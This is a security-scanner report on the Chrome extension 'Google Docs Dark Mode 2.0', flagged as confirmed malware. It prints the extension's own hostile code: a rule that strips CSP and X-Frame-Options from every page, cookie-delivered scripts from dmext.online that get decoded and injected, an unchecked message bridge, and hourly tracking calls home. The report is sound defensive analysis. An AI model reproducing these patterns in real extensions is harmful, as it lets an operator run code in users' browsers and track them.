Security Alert: Confirmed Malware
Google Docs Dark Mode 2.0 for Chrome
ID: ihkdedfdcocppnnaiigjpckhegifagfd
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- Dark Mode [all-in-one]View Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
Turn on Dark Mode for Google Docs in one click via this extension. Use it for Chrome, Firefox, PC, Windows 10 and other
Google Docs Dark Mode 2.0 extension for Chrome: Now You Can Write in the Dark How often do you find yourself writing on the computer in the dark? With the latest extension, you can write just as easily in the dark as you can in daylight with their new Dark Mode 2.0 extension for Chrome. Read on to learn more about this tool and how it can help your productivity or entertainment throughout the day! Why Use a Dark Mode for Google Docs? While working at your computer, itโs easy to lose track of time and be shocked when you look up and itโs already pitch black outside. If youโre a writer, or just like to write at night (when no one else is awake), a dark mode for Docs can help you keep your mind on task and not on how quickly time is flying by. Installing the Extension The easiest way to install Dark Mode 2.0 is by heading over to its Chrome Web Store page . Here, you can click Add to Chrome . A small popup window will appear on your screen which asks if youโre sure you want to add an extension from an unknown source. Click Add anyway, and wait for your browser to finish installing it. Tips For Using The Extension If youโre used to Googleโs classic light-colored theme, switching to dark mode can be a little jarring at first; but donโt worryโwith a few simple tweaks, youโll adjust and be ready to write before you know it. Here are some tips for navigating your new environment. Does google docs have a dark mode? No, it doesnโt. But by making Docs dark mode, weโre going to show you how to get it on Chrome with a couple of simple steps: (1) installing an extension and (2) creating a new theme from your current settings. Are you ready? Goodโletโs begin! How to Make Google Docs Dark Mode? How to make Docs dark mode, is a question that we hope to answer with our tutorial today! In order to do so, weโll be going over how you can install and use Googleโs newest update โ Dark Mode 2.0 extension for Chrome! We will also go over some of its features and what it does exactly, as well as some tips on how you can get started writing in your documents faster than ever before! So letโs get started with our tutorial on how to make google docs dark mode! The extension also provides Dark Mode functionality for Google, YouTube, Facebook and many other websites - get it now and keep your eyes relaxed in dark hours!
This declarativeNetRequest rule strips both `Content-Security-Policy` and `X-Frame-Options` from every top-level page (`urlFilter: "*"`). Removing these defenses globally weakens all visited sites against script injection and framing attacks, which is far beyond what a dark-mode extension should need.
[ { "id": 1, "action": { "type": "modifyHeaders", "responseHeaders": [ { "header": "x-frame-options", "operation": "remove" }, { "header": "content-security-policy", "operation": "remove" } ] }, "priority": 1, "condition": { "urlFilter": "*", "resourceTypes": [ "main_frame" ] } }]The script accepts `_style` data from `postMessage`, base64-decodes it, and injects it into a `<script>` element via `useCustomStyles`. Because the paired background/content-script logic sources `darkModeStyles` from a remote `dmext.online` cookie, this creates a remote-controlled code execution path inside every page the extension runs on.
function getStyles() { if (!document.body || !document.body.appendChild) { return setTimeout(getStyles, 100); } window.postMessage({ 'darkModeStyles': 1, 'type': 'getDarkModeStyles' }, '*'); return true;}window.self === window.top && getStyles() && window.addEventListener('message', e => { e?.data?._styles && setPMStyles(e?.data?.key, e?.data?.handler); if (e?.data?._style && !window.DMListenerFlag) { window.DMListenerFlag = 1; useCustomStyles(decodeURIComponent(escape(atob(e.data._style)))); }});This background code reads cookies from the remote domain `https://dmext.online` and copies the `darkModeStyles` value into extension storage. Since that value is later decoded and executed by `js/SetStyles.js`, the extension operator can push arbitrary script payloads through a cookie rather than a packaged asset.
function initStyles() { chrome.cookies.getAll({ url: 'https://dmext.online' }, function(resp) { resp.forEach(({ name, value }) => { if (name === 'darkModeStyles') { const parsedDarkModeStyles = JSON.parse(JSON.stringify(decodeURIComponent(value))); if (parsedDarkModeStyles) { chrome.storage.local.set({ darkModeStyles: parsedDarkModeStyles }); } } }); });The content script exposes privileged extension actions to any page script through a wildcard `message` listener without origin checks. A website can request tab creation/closure and write arbitrary keys into extension storage, which is an unsafe privilege bridge from untrusted web content into extension APIs.
window.addEventListener('message', e => { if (e?.data?.stylesForMode) { const { method, key, value, handler } = e.data.settings; switch (method) { case 'closeTab': { chrome.runtime.sendMessage({ type: "close_tab" }, function(response) {}); break; } case 'openTab': { chrome.runtime.sendMessage({ type: "open_tab", properties: event.data.details.props }, function(response) {}); break; } case 'setStyles': { chrome.storage.local.set({ [key]: value }); break; }This code phones home to `dmext.online` immediately and then every hour using a persistent `userId` stored in extension storage. That is covert telemetry/tracking behavior unrelated to rendering dark mode, especially because the identifier is unique per install and transmitted off-device.
function initAnalytics(userId, width = null, height = null, language = null) { const EVENT_CATEGORY = 'extOpen'; const EVENT_ACTION = null; const EVENT_LABEL = null; const EVENT_VALUE = 1; setInterval(() => { fetch( `https://dmext.online/gana/${userId}/${EVENT_CATEGORY}/${EVENT_ACTION}/${EVENT_LABEL}/${EVENT_VALUE}/${width}x${height}/${language}/${ANALYTIC_ID}` ) .then(r => void r); }, 60 * 60 * 1000); fetch( `https://dmext.online/gana/${userId}/${EVENT_CATEGORY}/${EVENT_ACTION}/${EVENT_LABEL}/${EVENT_VALUE}/${width}x${height}/${language}/${ANALYTIC_ID}` ) .then(r => void r);}By severity
Versions scanned
Showing 2 of 3 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 2.1.0 | 5 |
| 2.0.0 | 9 |
Files with findings
4 distinct paths โ top paths by unique finding count:
- js/Background.js6
- js/ContentScript.js3
- js/SetStyles.js3
- js/Rules.json2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.